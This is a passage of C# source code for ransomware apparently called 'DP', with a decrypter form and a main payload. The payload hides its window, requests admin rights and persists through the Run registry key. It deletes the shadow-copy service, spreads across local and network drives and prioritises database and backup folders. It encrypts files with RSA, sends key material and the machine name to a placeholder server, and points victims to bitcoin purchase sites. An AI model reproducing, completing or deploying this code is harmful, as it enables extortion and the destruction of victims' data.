306 | }
307 | return Drives;
308 | }
309 | catch (Exception ex)
310 | {
311 | return null;
312 | }
313 | }
314 |
315 | private List<string> GetFiles(string path)
316 | {
317 | List<string> files = new List<string>();
318 | string desktop = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
319 | try
320 | {
321 | files.AddRange(Directory.GetFiles(path, "*"+CryptedExtension, SearchOption.TopDirectoryOnly));
322 | foreach (var directory in Directory.GetDirectories(path))
323 | {
324 | if (directory == Environment.GetFolderPath(Environment.SpecialFolder.Windows)) continue;
325 | if (directory != desktop)
326 | {
327 | files.AddRange(GetFiles(directory));
328 | directories.Add(directory);
329 | }
330 | }
331 | files.AddRange(Directory.GetFiles(desktop, "*"+CryptedExtension));
332 | }
333 | catch (Exception ex) { }
334 |
335 | return files;
336 | }
337 |
338 | private void StartThreads()
339 | {
340 | try
341 | {
342 | Threads = new Thread[1];
343 | for (int i = 0; i < 1; i++)
344 | {
345 | Threads[i] = new Thread(this.Handler);
346 | Threads[i].IsBackground = true;
347 | Threads[i].Start();
348 | }
349 | }
350 | catch (Exception ex)
351 | {
352 |
353 | }
354 | }
355 |
356 | private void Handler()
357 | {
358 | try
359 | {
360 | RSACryptoServiceProvider ThRSA = new RSACryptoServiceProvider();
361 | ThRSA.FromXmlString(DecryptionKey);
362 | while (Files.Count != 0 && Files != null)
363 | {
364 | string file = "";
365 | lock (locker)
366 | {
367 | file = Files.Dequeue();
368 | NewFile(Path.GetFileName(file));
369 | }
370 | if (!String.IsNullOrEmpty(file))
371 | {
372 | DecryptFile(file, ThRSA);
373 | }
374 | }
375 | filenameLbl.Text = "All files are decrypted.";
376 | filenameLbl.ForeColor = Color.Green;
377 | if (Files.Count == 0) SendInfo();
378 | }
379 | catch (Exception)
380 | {
381 |
382 | }
383 | }
384 |
385 | private void SendInfo()
386 | {
387 | try
388 | {
389 | var request = (HttpWebRequest)WebRequest.Create(("%SERVER%" + "/api/Decrypted.php").Replace("//", "/"));
390 | var postData = "vector=" + vector;
391 | postData += "&decryption_info=" + DecryptionKey;
392 | var data = Encoding.ASCII.GetBytes(postData);
393 | request.Method = "POST";
394 | request.ContentType = "application/x-www-form-urlencoded";
395 | request.ContentLength = data.Length;
396 |
397 | using (var stream = request.GetRequestStream())
398 | { stream.Write(data, 0, data.Length); }
399 | var response = (HttpWebResponse)request.GetResponse();
400 | var responseString = new StreamReader(response.GetResponseStream()).ReadToEnd();
401 | MessageBox.Show(responseString);
402 | }
403 | catch (Exception)
404 | {
405 |
406 | }
407 | }
408 |
409 | private void checkBtn_Click(object sender, EventArgs e)
410 | {
411 | string dash = keyTB.Text;
412 | if (dash[4] == 't')
413 | {
414 | allFiles = true;
415 | dash = dash.Substring(0, 4) + dash.Substring(5, dash.Length - 5);
416 | }
417 | DecryptionKey = Encoding.Default.GetString(Convert.FromBase64String(dash));
418 | if (DecryptionKey.Contains("RSAKeyValue"))
419 | {
420 | allFilesBtn.Enabled = true;
421 | oneFileBtn.Enabled = true;
422 | if (!allFiles) MessageBox.Show("Successful. Key for decrytion 1 file.");
423 | if (allFiles) MessageBox.Show("Successful.");
424 | }
425 | }
426 | }
427 | }
428 | namespace DP_Decrypter
429 | {
430 | static class Program
431 | {
432 | /// <summary>
433 | /// Главная точка входа для приложения.
434 | /// </summary>
435 | [STAThread]
436 | static void Main()
437 | {
438 | Application.EnableVisualStyles();
439 | Application.SetCompatibleTextRenderingDefault(false);
440 | Application.Run(new MainForm());
441 | }
442 | }
443 | }
444 | namespace DP_Decrypter
445 | {
446 | partial class MainForm
447 | {
448 | /// <summary>
449 | /// Требуется переменная конструктора.
450 | /// </summary>
451 | private System.ComponentModel.IContainer components = null;
452 |
453 | /// <summary>
454 | /// Освободить все используемые ресурсы.
455 | /// </summary>
456 | /// <param name="disposing">истинно, если управляемый ресурс должен быть удален; иначе ложно.</param>
457 | protected override void Dispose(bool disposing)
458 | {
459 | if (disposing && (components != null))
460 | {
461 | components.Dispose();
462 | }
463 | base.Dispose(disposing);
464 | }
465 |
466 | #region Код, автоматически созданный конструктором форм Windows
467 |
468 | /// <summary>
469 | /// Обязательный метод для поддержки конструктора - не изменяйте
470 | /// содержимое данного метода при помощи редактора кода.
471 | /// </summary>
472 | private void InitializeComponent()
473 | {
474 | this.panel1 = new System.Windows.Forms.Panel();
475 | this.filenameLbl = new System.Windows.Forms.Label();
476 | this.nowLbl = new System.Windows.Forms.Label();
477 | this.orLbl = new System.Windows.Forms.Label();
478 | this.allFilesBtn = new System.Windows.Forms.Button();
479 | this.oneFileBtn = new System.Windows.Forms.Button();
480 | this.keyTB = new System.Windows.Forms.TextBox();
481 | this.checkBtn = new System.Windows.Forms.Button();
482 | this.panel1.SuspendLayout();
483 | this.SuspendLayout();
484 | //
485 | // panel1
486 | //
487 | this.panel1.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
488 | this.panel1.Controls.Add(this.checkBtn);
489 | this.panel1.Controls.Add(this.filenameLbl);
490 | this.panel1.Controls.Add(this.nowLbl);
491 | this.panel1.Controls.Add(this.orLbl);
492 | this.panel1.Controls.Add(this.allFilesBtn);
493 | this.panel1.Controls.Add(this.oneFileBtn);
494 | this.panel1.Location = new System.Drawing.Point(1, 225);
495 | this.panel1.Name = "panel1";
496 | this.panel1.Size = new System.Drawing.Size(459, 47);
497 | this.panel1.TabIndex = 0;
498 | //
499 | // filenameLbl
500 | //
501 | this.filenameLbl.AutoSize = true;
502 | this.filenameLbl.ForeColor = System.Drawing.Color.Red;
503 | this.filenameLbl.Location = new System.Drawing.Point(35, 29);
504 | this.filenameLbl.Name = "filenameLbl";
505 | this.filenameLbl.Size = new System.Drawing.Size(27, 13);
506 | this.filenameLbl.TabIndex = 4;
507 | this.filenameLbl.Text = "hold";
508 | //
509 | // nowLbl
510 | //
511 | this.nowLbl.AutoSize = true;
512 | this.nowLbl.Location = new System.Drawing.Point(3, 28);
513 | this.nowLbl.Name = "nowLbl";
514 | this.nowLbl.Size = new System.Drawing.Size(32, 13);
515 | this.nowLbl.TabIndex = 3;
516 | this.nowLbl.Text = "Now:";
517 | //
518 | // orLbl
519 | //
520 | this.orLbl.AutoSize = true;
521 | this.orLbl.Location = new System.Drawing.Point(280, 7);
522 | this.orLbl.Name = "orLbl";
523 | this.orLbl.Size = new System.Drawing.Size(16, 13);
524 | this.orLbl.TabIndex = 2;
525 | this.orLbl.Text = "or";
526 | //
527 | // allFilesBtn
528 | //
529 | this.allFilesBtn.Cursor = System.Windows.Forms.Cursors.Hand;
530 | this.allFilesBtn.Enabled = false;
531 | this.allFilesBtn.Location = new System.Drawing.Point(139, 2);
532 | this.allFilesBtn.Name = "allFilesBtn";
533 | this.allFilesBtn.Size = new System.Drawing.Size(135, 23);
534 | this.allFilesBtn.TabIndex = 1;
535 | this.allFilesBtn.Text = "Decrypt all PC";
536 | this.allFilesBtn.UseVisualStyleBackColor = true;
537 | this.allFilesBtn.Click += new System.EventHandler(this.allFilesBtn_Click);
538 | //
539 | // oneFileBtn
540 | //
541 | this.oneFileBtn.Cursor = System.Windows.Forms.Cursors.Hand;
542 | this.oneFileBtn.Enabled = false;
543 | this.oneFileBtn.Location = new System.Drawing.Point(300, 2);
544 | this.oneFileBtn.Name = "oneFileBtn";
545 | this.oneFileBtn.Size = new System.Drawing.Size(155, 23);
546 | this.oneFileBtn.TabIndex = 0;
547 | this.oneFileBtn.Text = "Choose 1 file and decrypt it";
548 | this.oneFileBtn.UseVisualStyleBackColor = true;
549 | this.oneFileBtn.Click += new System.EventHandler(this.oneFileBtn_Click);
550 | //
551 | // keyTB
552 | //
553 | this.keyTB.Location = new System.Drawing.Point(1, 3);
554 | this.keyTB.Multiline = true;
555 | this.keyTB.Name = "keyTB";
556 | this.keyTB.Size = new System.Drawing.Size(456, 216);
557 | this.keyTB.TabIndex = 1;
558 | //
559 | // checkBtn
560 | //
561 | this.checkBtn.Cursor = System.Windows.Forms.Cursors.Hand;
562 | this.checkBtn.Location = new System.Drawing.Point(3, 2);
563 | this.checkBtn.Name = "checkBtn";
564 | this.checkBtn.Size = new System.Drawing.Size(130, 23);
565 | this.checkBtn.TabIndex = 5;
566 | this.checkBtn.Text = "Check sytax of key";
567 | this.checkBtn.UseVisualStyleBackColor = true;
568 | this.checkBtn.Click += new System.EventHandler(this.checkBtn_Click);
569 | //
570 | // MainForm
571 | //
572 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
573 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
574 | this.ClientSize = new System.Drawing.Size(461, 273);
575 | this.Controls.Add(this.keyTB);
576 | this.Controls.Add(this.panel1);
577 | this.Name = "MainForm";
578 | this.Text = "DP Decrypter";
579 | this.Load += new System.EventHandler(this.MainForm_Load);
580 | this.panel1.ResumeLayout(false);
581 | this.panel1.PerformLayout();
582 | this.ResumeLayout(false);
583 | this.PerformLayout();
584 |
585 | }
586 |
587 | #endregion
588 |
589 | private System.Windows.Forms.Panel panel1;
590 | private System.Windows.Forms.Label orLbl;
591 | private System.Windows.Forms.Button allFilesBtn;
592 | private System.Windows.Forms.Button oneFileBtn;
593 | private System.Windows.Forms.Label filenameLbl;
594 | private System.Windows.Forms.Label nowLbl;
595 | private System.Windows.Forms.Button checkBtn;
596 | private System.Windows.Forms.TextBox keyTB;
597 | }
598 | }
599 |
600 |
601 | using System;
602 | using System.Collections.Generic;
603 | using System.Collections.Specialized;
604 | using System.Diagnostics;
605 | using System.Drawing;
606 | using System.IO;
607 | using System.Net;
608 | using System.Reflection;
609 | using System.Security.Cryptography;
610 | using System.Text;
611 | using System.Threading;
612 | using System.Runtime.InteropServices;
613 | using System.Security.Principal;
614 | using System.Text.RegularExpressions;
615 | using System.Windows.Forms;
616 | using Microsoft.Win32;
617 | using System.Runtime.InteropServices;
618 |
619 | namespace DP_MainForm
620 | {
621 | public partial class Form1 : Form
622 | {
623 | public Form1()
624 | {
625 | }
626 |
627 | private void LocalbitcoinsLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
628 | {
629 | Process.Start("https://localbitcoins.com/buy_bitcoins");
630 | }
631 |
632 | private void howLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
633 | {
634 | Process.Start("http://www.coindesk.com/information/how-can-i-buy-bitcoins/");
635 | }
636 |
637 | private void Form1_Load(object sender, EventArgs e)
638 | {
639 | this.Visible = false;
640 | }
641 | private void Form1_MouseDown(object sender, MouseEventArgs e)
642 | {
643 | base.Capture = false;
644 | Message m = Message.Create(base.Handle, 0xa1, new IntPtr(2), IntPtr.Zero);
645 | this.WndProc(ref m);
646 | }
647 |
648 | private void pictureBox1_MouseDown(object sender, MouseEventArgs e)
649 | {
650 | base.Capture = false;
651 | Message m = Message.Create(base.Handle, 0xa1, new IntPtr(2), IntPtr.Zero);
652 | this.WndProc(ref m);
653 | }
654 | }
655 | }
656 | namespace DP_MainForm
657 | {
658 | public sealed class Program
659 | {
660 |
661 | const string name = "svch";
662 | private static Thread[] Threads;
663 | private object locker = new object();
664 | private static string server = "%SERVER%";
665 | private static string mail = "%FIRST_MAIL%";
666 | private static string vector = "%INC_VECTOR%";
667 | private static string text = "%TEXT_FOR_UNLOCK%";
668 | private static string RSA_MasterPublic = "%RSA_PUBLIC%";
669 | private static string CryptedExtension = "%EXTENSION%";
670 | private static bool LockerForValidKey = true;
671 | private static string PCID = "";
672 | private static string RSA_Public = "";
673 | private static string RSA_Private = "";
674 | private static int FilesCount = 0;
675 | private static bool SaveTextForUnlock = Boolean.Parse("%STFU%");
676 | //private static bool SaveTextForUnlock = Boolean.Parse("True");
677 | public static RSACryptoServiceProvider MasterRSA = new RSACryptoServiceProvider();
678 | public static RSACryptoServiceProvider rsa = new RSACryptoServiceProvider();
679 | public static List<string> directories = new List<string>();
680 |
681 | private static string CryptedPrivateKey = "";
682 | /// <summary>
683 | /// Главная точка входа для приложения.
684 | /// </summary>
685 | [STAThread]
686 | static void Main(string[] args)
687 | {
688 | try
689 | {
690 | var handle = NativeMethods.GetConsoleWindow();
691 | NativeMethods.ShowWindow(handle, NativeMethods.SW_HIDE);
692 |
693 | string appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
694 |
695 | if (File.Exists(appdata + "\\DP\\welldone.dp"))
696 | {
697 | Process.Start("#DECRYPT MY FILES#.html");
698 | Environment.Exit(0);
699 | }
700 | else
701 | {
702 | if (args.Length == 0)
703 | {
704 | bool cycle = CycleDefender();
705 | if(cycle == true)
706 | {
707 | int p1 = ProcessCount();
708 | if (!IsAdmin()) RunAsAdmin();
709 | int p2 = ProcessCount();
710 | if (p2 > p1) Environment.Exit(0);
711 | }
712 | }
713 | if (File.Exists("id.dp")) PCID = File.ReadAllText("id.dp");
714 | else { PCID = ID_Generator(); File.WriteAllText("id.dp", PCID); }
715 | text = text.Replace("%ID%", PCID);
716 | Stopwatch stopWatch = new Stopwatch();
717 | stopWatch.Start();
718 | if (CheckKeys() == false)
719 | {
720 | CreateKeys();
721 | MasterRSA.FromXmlString(RSA_MasterPublic);
722 | rsa.FromXmlString(RSA_Public);
723 | SavePrivateKey();
724 | while (LockerForValidKey)
725 | {
726 | }
727 | AddToAutorun();
728 | DeleteShadowCopies();
729 | }
730 | text = text.Replace("%KEY%", CryptedPrivateKey);
731 | GetDrives();
732 | Handler();
733 | stopWatch.Stop();
734 | int minutes = (stopWatch.Elapsed.Hours * 60) + stopWatch.Elapsed.Minutes;
735 | string time = minutes + ":" + stopWatch.Elapsed.Seconds;
736 | AddEncryptedPC(time, CryptedPrivateKey);
737 | File.WriteAllText(appdata+"\\DP\\welldone.dp", "Done");
738 | Process.Start("#DECRYPT MY FILES#.html");
739 | Environment.Exit(0);
740 | }
741 | }
742 | catch (Exception)
743 | {
744 |
745 | }
746 |
747 |
748 | }
749 |
750 | private static bool CycleDefender() // Будет возвращать true если запуск разрешен и false - если нет.
751 | {
752 | try
753 | {
754 | string appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
755 | string file = appdata + "\\DP\\RunAsAdmin.dp";
756 | if (!Directory.Exists(appdata + "\\DP"))
757 | {
758 | Directory.CreateDirectory(appdata + "\\DP");
759 | File.WriteAllText(file, "0");
760 | return true;
761 | }
762 | else
763 | {
764 | string RAA = File.ReadAllText(file);
765 | if (RAA == "0")
766 | {
767 | File.WriteAllText(file, "1");
768 | return true;
769 | }
770 | else
771 | {
772 | return false;
773 | }
774 | }
775 | }
776 | catch
777 | {
778 | return true;
779 | }
780 | }
781 |
782 | private static void AddToAutorun()
783 | {
784 | try
785 | {
786 | string appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
787 | if (!Directory.Exists(appdata + "\\DP")) Directory.CreateDirectory(appdata + "\\DP");
788 | File.Copy(Application.ExecutablePath,appdata+"\\DP\\DP_Main.exe");
789 | RegistryKey myKey = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
790 | myKey.SetValue("DP_Main", appdata+"\\DP\\DP_Main.exe");
791 | myKey.Close();
792 | }
793 | catch (Exception)
794 | {
795 |
796 | }
797 | }
798 |
799 |
800 | private static void DeleteShadowCopies()
801 | {
802 | try
803 | {
804 | ProcessStartInfo psiOpt = new ProcessStartInfo(@"cmd.exe", @"/C sc delete VSS");
805 | psiOpt.WindowStyle = ProcessWindowStyle.Hidden;
806 | psiOpt.RedirectStandardOutput = true;
807 | psiOpt.UseShellExecute = false;
808 | psiOpt.CreateNoWindow = true;
809 | Process procCommand = Process.Start(psiOpt);
810 | StreamReader srIncoming = procCommand.StandardOutput;
811 | string resp = srIncoming.ReadToEnd();
812 | procCommand.WaitForExit();
813 | }
814 | catch(Exception)
815 | {
816 |
817 | }
818 | }
819 |
820 |
821 | private static bool CheckKeys()
822 | {
823 | string documents = "";
824 | string progfiles = "";
825 | try
826 | {
827 | documents = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
828 | progfiles = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\DP";
829 | }
830 | catch (Exception)
831 | {}
832 |
833 | string FileName = "\\DecryptionInfo.auth";
834 | string Public = "";
835 | string Private = "";
836 | if (File.Exists(documents + FileName))
837 | {
838 | string text = File.ReadAllText(documents + FileName);
839 | Public = text.Split('\n')[1]; Private = text.Split('\n')[0];
840 | }
841 | if (File.Exists(progfiles + FileName))
842 | {
843 | string text = File.ReadAllText(progfiles + FileName);
844 | Public = text.Split('\n')[1]; Private = text.Split('\n')[0];
845 | }
846 | if (Public != "")
847 | {
848 | RSA_Public = Public;
849 | CryptedPrivateKey = Private;
850 | return true;
851 | }
852 | else return false;
853 | }
854 |
855 | private static void CreateKeys()
856 | {
857 | RSA_Public = rsa.ToXmlString(false);
858 | RSA_Private = rsa.ToXmlString(true);
859 | }
860 |
861 | [DllImport("USER32.DLL", CharSet = CharSet.Unicode)]
862 | public static extern IntPtr FindWindow(string lpClassName,
863 | string lpWindowName);
864 | [DllImport("USER32.DLL")]
865 | public static extern bool SetForegroundWindow(IntPtr hWnd);
866 |
867 | static class NativeMethods
868 | {
869 | [DllImport("kernel32.dll")]
870 | static public extern IntPtr GetConsoleWindow();
871 |
872 | [DllImport("user32.dll")]
873 | static public extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
874 |
875 | public const int SW_HIDE = 0;
876 | public const int SW_SHOW = 5;
877 | }
878 |
879 | public static string ID_Generator()
880 | {
881 | string pass = "";
882 | var r = new Random();
883 | while (pass.Length < 8)
884 | {
885 | Char c = (char)r.Next(33, 125);
886 | if (Char.IsLetterOrDigit(c))
887 | pass += c;
888 | }
889 | return pass;
890 | }
891 |
892 |
893 | private static void AddEncryptedPC(string elapsed_time, string DecryptionInfo)
894 | {
895 | try
896 | {
897 | string url = server + "/api" + "/Encrypted.php";
898 | using (var webClient = new WebClient())
899 | {
900 | var pars = new NameValueCollection();
901 | pars.Add("v", vector);
902 | pars.Add("fc", FilesCount.ToString());
903 | pars.Add("computer_name", Environment.MachineName);
904 | pars.Add("et", elapsed_time);
905 | pars.Add("decryption_info", DecryptionInfo);
906 | pars.Add("id", PCID);
907 | var response = webClient.UploadValues(url, pars);
908 | }
909 | }
910 | catch (Exception)
911 | {
912 |
913 | }
914 | }
915 |
916 | public static bool IsAdmin()
917 | {
918 | WindowsIdentity id = WindowsIdentity.GetCurrent();
919 | WindowsPrincipal p = new WindowsPrincipal(id);
920 | return p.IsInRole(WindowsBuiltInRole.Administrator);
921 | }
922 | public static int ProcessCount()
923 | {
924 | int p = 0;
925 | Process[] etc = Process.GetProcesses();
926 | foreach (Process anti in etc)
927 | {
928 | if (anti.ProcessName.ToLower().Contains("dp_main")) p++;
929 | }
930 | return p;
931 | }
932 | public static void RunAsAdmin()
933 | {
934 | ProcessStartInfo processInfo = new ProcessStartInfo();
935 | processInfo.Verb = "runas";
936 | processInfo.FileName = Directory.GetCurrentDirectory() + "\\DP_Main.exe";
937 | try
938 | {
939 | Process.Start(processInfo);
940 | }
941 | catch (Exception)
942 | {
943 |
944 | }
945 | }
946 | private static void Handler()
947 | {
948 | try
949 | {
950 | PriorityEncryption();
951 | while (Drives.Count != 0 && Drives != null)
952 | {
953 | string drive = "";
954 | drive = Drives.Dequeue();
955 | if (!String.IsNullOrEmpty(drive))
956 | {
957 | EncryptFolder(drive);
958 | }
959 | }
960 | GetDesktopFiles(Environment.GetFolderPath(Environment.SpecialFolder.Desktop));
961 | }
962 | catch (Exception ex)
963 | {
964 |
965 | }
966 | }
967 | private static void SavePrivateKey()
968 | {
969 | List<byte[]> master = new List<byte[]>();
970 | byte[] masterbytes = Encoding.Default.GetBytes(RSA_Private);
971 | int iterations = Convert.ToInt32(Math.Ceiling((double)masterbytes.Length / 117));
972 | int k = 0;
973 | for (int i = 0; i < iterations; i++)
974 | {
975 | byte[] b = new byte[117];
976 | for (int j = 0; j < 117; j++)
977 | {
978 | if (masterbytes.Length > k)
979 | {
980 | b[j] = masterbytes[k];
981 | k++;
982 | }
983 | }
984 | master.Add(b);
985 | }
986 | string strBytes = "";
987 | foreach (byte[] bts in master)
988 | {
989 | byte[] encrypted = MasterRSA.Encrypt(bts, false);
990 | strBytes += Encoding.Default.GetString(encrypted);
991 | }
992 | strBytes = Convert.ToBase64String(Encoding.Default.GetBytes(strBytes));
993 | CryptedPrivateKey = strBytes;
994 | strBytes += "\n" + RSA_Public;
995 | if(KeyValidity())
996 | {
997 | SaveKeysToFiles(strBytes);
998 | LockerForValidKey = false;
999 | }
1000 | }
1001 |
1002 | private static bool KeyValidity()
1003 | {
1004 | byte[] KeyBytes = Convert.FromBase64String(CryptedPrivateKey);
1005 | if(KeyBytes.Length != 1024)
1006 | {
1007 | Console.WriteLine("BAD LENGTH: "+KeyBytes.Length);
1008 | CreateKeys();
1009 | return false;
1010 | }
1011 | else
1012 | {
1013 | Console.WriteLine("SUCCESS: 1024");
1014 | LockerForValidKey = false;
1015 | return true;
1016 | }
1017 | }
1018 |
1019 | private static void SaveKeysToFiles(string text)
1020 | {
1021 | try
1022 | {
1023 | string documents = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
1024 | string progfiles = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\DP";
1025 | string DPName = "\\DecryptionInfo.auth";
1026 | File.WriteAllText(documents + DPName, text);
1027 | Directory.CreateDirectory(progfiles);
1028 | File.WriteAllText(progfiles + DPName, text);
1029 | }
1030 | catch (Exception)
1031 | {
1032 |
1033 | }
1034 |
1035 | }
1036 |
1037 | private static Queue<string> Drives = new Queue<string>();
1038 |
1039 | private static void GetDrives()
1040 | {
1041 | try
1042 | {
1043 | DriveInfo[] allDrives = DriveInfo.GetDrives();
1044 | bool c_contain = false;
1045 | foreach (DriveInfo drive in allDrives)
1046 | {
1047 | if (drive.Name.Contains("C:\\")) c_contain = true;
1048 | else
1049 | {
1050 | if(!Drives.Contains(drive.Name))
1051 | {
1052 | Drives.Enqueue(drive.Name);
1053 | }
1054 | }
1055 | }
1056 | if (c_contain) Drives.Enqueue("C:\\");
1057 | return;
1058 | }
1059 | catch (Exception ex)
1060 | {
1061 | return;
1062 | }
1063 | }
1064 |
1065 | private static void GetNetwork()
1066 | {
1067 | List<string> Network = new List<string>();
1068 | try
1069 | {
1070 | string result = DoCMD("NET VIEW");
1071 | string[] resultList = result.Replace("\r\n", "\n").Split('\n');
1072 | foreach (string line in resultList)
1073 | {
1074 | if (line.Contains(@"\\"))
1075 | {
1076 | Network.Add(line.Split(' ')[0]);
1077 | }
1078 | }
1079 | }
1080 | catch (Exception) {}
1081 | try
1082 | {
1083 | string result = DoCMD("NET USE").Replace("\r\n", "\n");
1084 | string[] resultList = result.Split('\n');
1085 | foreach (string line in resultList)
1086 | {
1087 | string drive = new Regex(@"\s(\S{2})\s").Match(line).Groups[1].Value;
1088 | if(!Drives.Contains(drive+"\\") && drive.Contains(":")) Drives.Enqueue(drive + "\\");
1089 | string NetResource = new Regex(@"(\\\\[^\\\s]*)", RegexOptions.IgnoreCase).Match(line).Groups[1].Value;
1090 | if (NetResource != "")
1091 | {
1092 | if(!Network.Contains(NetResource)) Network.Add(NetResource);
1093 | }
1094 | }
1095 | }
1096 | catch(Exception) {}
1097 | foreach (string device in Network)
1098 | {
1099 | try
1100 | {
1101 | string result = DoCMD("NET VIEW " + device);
1102 | string[] resultList = result.Replace("\r\n", "\n").Split('\n');
1103 | foreach (string line in resultList)
1104 | {
1105 | if (line.Contains("Disk"))
1106 | {
1107 | string folder = BackspacesCleaner(line);
1108 | Drives.Enqueue(device + "\\" + folder);
1109 | }
1110 | }
1111 | }
1112 | catch(Exception) {}
1113 | }
1114 |
1115 | }
1116 |
1117 | private static string DoCMD(string command)
1118 | {
1119 | try
1120 | {
1121 | ProcessStartInfo startInfo = new ProcessStartInfo(@"cmd.exe", @"/C " + command);
1122 | startInfo.WindowStyle = ProcessWindowStyle.Hidden;
1123 | startInfo.RedirectStandardOutput = true;
1124 | startInfo.UseShellExecute = false;
1125 | startInfo.CreateNoWindow = true;
1126 | Process procCommand = Process.Start(startInfo);
1127 | StreamReader srIncoming = procCommand.StandardOutput;
1128 | string result = srIncoming.ReadToEnd();
1129 | return result;
1130 | }
1131 | catch (Exception)
1132 | {
1133 | return "Exception";
1134 | }
1135 |
1136 | }
1137 |
1138 | private static string BackspacesCleaner(string FolderName)
1139 | {
1140 | FolderName = FolderName.Replace("Disk", "");
1141 | while (FolderName[FolderName.Length - 1] == ' ')
1142 | {
1143 | FolderName = FolderName.Substring(0, FolderName.Length - 2);
1144 | }
1145 | return FolderName;
1146 | }
1147 |
1148 | private static void Encrypter(string file, RSACryptoServiceProvider ThRSA)
1149 | {
1150 | try { EncryptFile(file, ThRSA); }
1151 | catch (Exception) { Encrypter(file, ThRSA); }
1152 | }
1153 |
1154 | private static void PriorityEncryption()
1155 | {
1156 | EncryptFolder(Directory.GetCurrentDirectory());
1157 | foreach (string drive in Drives) PrioritySearcher(drive);
1158 | }
1159 |
1160 | private static void PrioritySearcher(string path)
1161 | {
1162 | try
1163 | {
1164 | string[] trigers = {"mysql", "firebird", " mssql", "microsoft sql", "backup"};
1165 | foreach (string trigger in trigers) if (Path.GetDirectoryName(path).Contains(trigger)) EncryptFolder(path);
1166 | foreach (var directory in Directory.GetDirectories(path))
1167 | {
1168 | foreach (string trigger in trigers) if (Path.GetDirectoryName(directory).Contains(trigger)) EncryptFolder(directory);
1169 | PrioritySearcher(directory);
1170 | }
1171 | }
1172 | catch (Exception ex) { }
1173 | }
1174 |
1175 | private static void EncryptFolder(string path)
1176 | {
1177 | RSACryptoServiceProvider ThRSA = new RSACryptoServiceProvider();
1178 | ThRSA.FromXmlString(RSA_Public);
1179 | List<string> top = new List<string>();
1180 | string desktop = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);
1181 | try { top.AddRange(Directory.GetFiles(path, "*.*", SearchOption.TopDirectoryOnly)); }
1182 | catch (Exception) { }
1183 | foreach (string file in top)
1184 | {
1185 | FilesCount++;
1186 | Encrypter(file, ThRSA);
1187 | }
1188 | try
1189 | {
1190 | if (SaveTextForUnlock) DropDecriptionText(path);
1191 | foreach (var directory in Directory.GetDirectories(path))
1192 | {
1193 | if (directory.ToLower().Contains("windows")) continue;
1194 | if (directory.ToLower().Contains("firefox")) continue;
1195 | if (directory.ToLower().Contains("chrome")) continue;
1196 | if (directory.ToLower().Contains("google")) continue;
1197 | if (directory.ToLower().Contains("opera")) continue;
1198 | if (directory == Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)+"\\DP") continue;
1199 | if (directory != desktop) EncryptFolder(directory);
1200 | }
1201 | }
1202 | catch (Exception ex) { }
1203 | }
1204 |
1205 | private static void GetDesktopFiles(string path)
1206 | {
1207 | List<string> top = new List<string>();
1208 | RSACryptoServiceProvider ThRSA = new RSACryptoServiceProvider();
1209 | ThRSA.FromXmlString(RSA_Public);
1210 | try
1211 | {
1212 |
1213 | try { top.AddRange(Directory.GetFiles(path, "*.*", SearchOption.TopDirectoryOnly)); }
1214 | catch (Exception) { }
1215 | foreach (string file in top) Encrypter(file, ThRSA);
1216 | if (SaveTextForUnlock) DropDecriptionText(path);
1217 | foreach (var directory in Directory.GetDirectories(path))
1218 | {
1219 | EncryptFolder(directory);
1220 | directories.Add(directory);
1221 | }
1222 | }
1223 | catch (Exception ex) { }
1224 | }
1225 |
1226 | private static void EncryptFile(string file, RSACryptoServiceProvider ThRSA)
1227 | {
1228 | try
1229 | {
1230 | FileInfo FN = new FileInfo(file);
1231 | if (FN.Extension != CryptedExtension && !FN.FullName.Contains("#DECRYPT MY FILES#.html") && FN.Name != "id.dp" && FN.Name != "DecryptionInfo.auth" && FN.Extension != ".dp")
1232 | {
1233 | List<byte[]> partfile = new List<byte[]>();
1234 | List<byte> lwrt = new List<byte>();
1235 | if (FN.Length / 1024 > 64)
1236 | {
1237 | partfile = GetPartOfFile(file, 547 * 1); // 10 мегабайт(85470) умножить на Х.
1238 | }
1239 | else
1240 | {
1241 | int blocks = Convert.ToInt32(FN.Length / 117);
1242 | if (FN.Length < 117)
1243 | {
1244 | partfile.Add(File.ReadAllBytes(file));
1245 | using (var writer = File.OpenWrite(file)) writer.SetLength(0);
1246 | //blocks = 1;
1247 | }
1248 | else partfile = GetPartOfFile(file, blocks);
1249 | }
1250 | if (partfile != null)
1251 | {
1252 | foreach (byte[] part in partfile)
1253 | {
1254 | byte[] wrt = ThRSA.Encrypt(part, false);
1255 | lwrt.AddRange(wrt);
1256 | }
1257 | File.AppendAllText(file, "<CRYPTED>" + Convert.ToBase64String(lwrt.ToArray()) + "</CRYPTED>", Encoding.Default);
1258 | File.Move(file, file + "[id-" + PCID + "].[" + mail + "]"+CryptedExtension);
1259 | File.Delete(file);
1260 | }
1261 | }
1262 | }
1263 | catch (Exception ex)
1264 | {
1265 | //StreamWriter write = new StreamWriter("Failed.txt", true);
1266 | //write.WriteLine(file + " | " + ex);
1267 | //write.WriteLine("\r\n");
1268 | //write.Close();
1269 | }
1270 | }
1271 |
1272 | private static List<byte[]> GetPartOfFile(string fileName, int blocks_count)
1273 | {
1274 | try
1275 | {
1276 | int size = blocks_count * 117;
1277 | List<byte[]> byteFile = new List<byte[]>();
1278 | byte[] file = new byte[size]; // size = 40950 max
1279 | using (var stream = File.OpenRead(fileName))
1280 | {
1281 | stream.Seek(-(size + 0), SeekOrigin.End); // временно для теста изменил 1 на 0.
1282 | stream.Read(file, 0, size);
1283 | }
1284 | using (var writer = File.OpenWrite(fileName)) writer.SetLength(writer.Length - size);
1285 | int k = 0;
1286 | for (int i = 0; i < blocks_count; i++)
1287 | {
1288 | byte[] middle = new byte[117];
